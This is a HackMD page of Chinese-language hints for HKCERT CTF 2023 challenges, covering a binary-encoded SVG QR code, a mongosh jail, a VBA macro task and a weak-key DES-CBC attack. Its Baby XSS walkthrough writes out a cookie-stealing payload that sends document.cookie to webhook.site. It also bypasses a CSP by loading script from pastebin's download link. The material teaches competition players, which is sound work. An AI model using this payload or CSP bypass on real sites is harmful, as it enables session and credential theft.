# HKCERT CTF 2023: 解決手把手題目之秘笈 (II) [TOC] ## ST碼 (I) / ST Code (I) (Misc) * 瀏覽 `/flag1` 會看到一個 QR碼,但是看起來有點凹凸不平 * 如果你有仔細翻閱伺服器的原始碼,你會發現這是一個 可縮放向量圖形 (SVG) * 檢視圖片的原始碼,你會發現有一堆 `rx="0"` 和 `rx="1"` 看起來很可疑 * 原來這就是圖片凹凸不平的原因 * 由上而下記錄下的話,會得出 `01101000 01101011 ...` * 你能猜出這是甚麼編碼嗎?__________ * 利用這個編碼轉換後,會得出 `hkcert23{...` * 看來這就是旗幟了呢 <p style="transform: rotate(-180deg);">答案:二進制 ASCII 碼</p> ## 獄門疆 / MongoJail (Pwn) ### 少量劇透 * 這條題目好像跟 "Goku Mon Kyo" 無關 * 但是跟 MongoDB Shell (mongosh) 有關 * mongosh 是一個特設的 node.js 「讀取-求值-輸出」循環 (REPL) 環境 * 你可以在一個設有限制的 mongosh 輸入任意的 Javascript * 所有內置的變量和函數,以及 `require`,`module`,`globalThis` 都~~被封印掉~~變成了 undefined * 還有甚麼能用的嗎?看看[參考資料](https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference) * 標準內建物件 (Built-in objects) 都~~被封印掉~~變成了 undefined * 運算式與運算子 (Expressions & operators) 還能用吧... 至少加法還能用 * ||劇透: 有甚麼方法能打開門的另一面?|| ## 又有寶貝 XSS / Baby XSS again (Web) * 首先你需要了解奪旗賽裡的 XSS 題是甚麼 * 如果你不清楚細節,你可以參考 HKCERT CTF 2021 的 [Infant XSS](https://github.com/blackb6a/hkcert-ctf-2021-challenges/tree/master/T1-infantxss) 題目... * 大致上,你需要找到網站裡的 XSS 漏洞,然後砌一個攻擊頁面或網址,再把網址傳送給題目的機器人。機器人會根據你的攻擊代碼執行指令,例如傳回敏感資訊或者 Cookie * 這題告訴你可以利用 query string 的 `src` 參數任意注入外部 Javascript 代碼: ``` out += """<script src="%s"></script>""" % request.args.get("src", "http://example.com/") ``` * 但是 "內容安全策略" (Content Security Policy) 限制了 Javascript 的來源,只能是從 `https://hcaptcha.com`,`https://*.hcaptcha.com` 或 `https://pastebin.com`: ``` <meta http-equiv="Content-Security-Policy" content="script-src https://hcaptcha.com https://*.hcaptcha.com https://pastebin.com"> ``` * 你應該不想找 hcaptcha.com 的漏洞吧,那我們直接用 pastebin 吧 * 首先砌一段攻擊代碼,它的目的是重新導向受害者到我們的網站來接收敏感資訊 (此題的旗幟在 Cookie)。將此攻擊代碼放到 pastebin * 例如 `location='https://webhook.site/your_webhook_site_id/?cookie='+document.cookie` * 你應該會看到類似這樣的頁面 https://pastebin.com/KvbMXuyv * 如果你只想保留代碼,可以試試 "raw" 功能: https://pastebin.com/raw/KvbMXuyv * 但係你砌好晒成段網址發現佢唔曉郁! * http://babyxss-k7ltgk.hkcert23.pwnable.hk:28232/?src=https://pastebin.com/raw/KvbMXuyv * 點解? 因為現在的瀏覽器大都會檢查嵌入檔案的 `Content-Type` Header * 這個檔案的 `Content-Type` Header 是 `text/plain`,所以不會被當成 Javascript 執行 * 那麼試試其他功能?除了 "raw",還有 "download": https://pastebin.com/dl/KvbMXuyv * 今次識郁啦: http://babyxss-k7ltgk.hkcert23.pwnable.hk:28232/?src=https://pastebin.com/dl/KvbMXuyv * 你現在可以傳送成段網址給機器人 (還有完成那麻煩的 CAPTCHA) 來獲取旗幟 ## 轉蛋模擬器 / Gacha Simulator (Reverse) ### Partial Guide 這題建議使用 .NET Framework 這是一個 pptm 檔, 包含了巨集指令. 你可以在開發人員頁 (Developer Tab) 查看 VBA 代碼. https://support.microsoft.com/en-au/office/show-the-developer-tab-e1192344-5e56-4d45-931b-e5fd9bea2d45 打不開原始碼? 可以試試這方法: https://stackoverflow.com/questions/1026483/is-there-a-way-to-crack-the-password-on-an-excel-vba-project 然後求其都解到啦,例如改概率,重新排列已加密的資料,又或者直接解密資料等。祝你好運! ## 下手ですね / BADES (Crypto) ### 挑戰描述 在這個挑戰中,我們被給予一個略微修改過的資料加密標準(標記為 DES')。此外,我們還有兩個功能: 1. `encrypt_flag`:使用 DES'-CBC 加密 flag。 1. `encrypt`:使用 DES'-CBC 加密任意訊息。 目標是使用上述功能獲取旗幟。 ### 部分指南 由於 `__left_rotations` 被更改,所有金鑰都變成了弱金鑰。如果我們使用[電子密碼本(ECB)](https://zh.wikipedia.org/zh-hk/%E5%88%86%E7%BB%84%E5%AF%86%E7%A0%81%E5%B7%A5%E4%BD%9C%E6%A8%A1%E5%BC%8F#%E7%94%B5%E5%AD%90%E5%AF%86%E7%A0%81%E6%9C%AC%EF%BC%88ECB%EF%BC%89)操作模式,$\text{Encrypt}(\text{Encrypt}(m)) = m$,或者直觀地說,對相同訊息進行兩次加密將得到該訊息。 <p style="text-align: center;"><img src="https://hackmd.io/_uploads/HJDX812mp.png" style="width: 350px;"><br /><em>圖 1</em></p> 然而,在這種情況下,我們使用的是 CBC 模式。這是使用 `encrypt_flag`(或 `encrypt`)加密訊息時的過程。一開始,訊息被填充為 8 的倍數大小。然後,它被切成 8 字節的區塊: <p style="text-align: center;"><img src="https://hackmd.io/_uploads/ryrKjy2mT.png" style="width: 600px;"><br /><em>圖 2</em></p> 然後它被加密為密文 $c_0 \| c_1 \| c_2 \| ...$,並提供給我們。我們如何利用「加密密文實際上是解密它」的行為來恢復 $m_1, m_2, ...$? 因為 $c_0$ 是個固定的初始值,讓我們展示如何通過加密 $c_0 \oplus c_1$ 來取得 $m_1$: <p style="text-align: center;"><img src="https://hackmd.io/_uploads/S1jaXx37a.png" style="width: 350px;"><br /><em>圖 3。</em></p> 由於 $c_0 \oplus (c_0 \oplus c_1) = c_1$,我們傳遞給加密函數的內容即為 $c_1$。在圖 2 中,我們知道 $\text{Encrypt}(c_1) = c_0 \oplus m_1$。現在,我們可以通過計算 $c_0 \oplus (c_0 \oplus m_1)$ 來恢復 $m_1$。 現在試試把其他區塊都解出來吧!
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up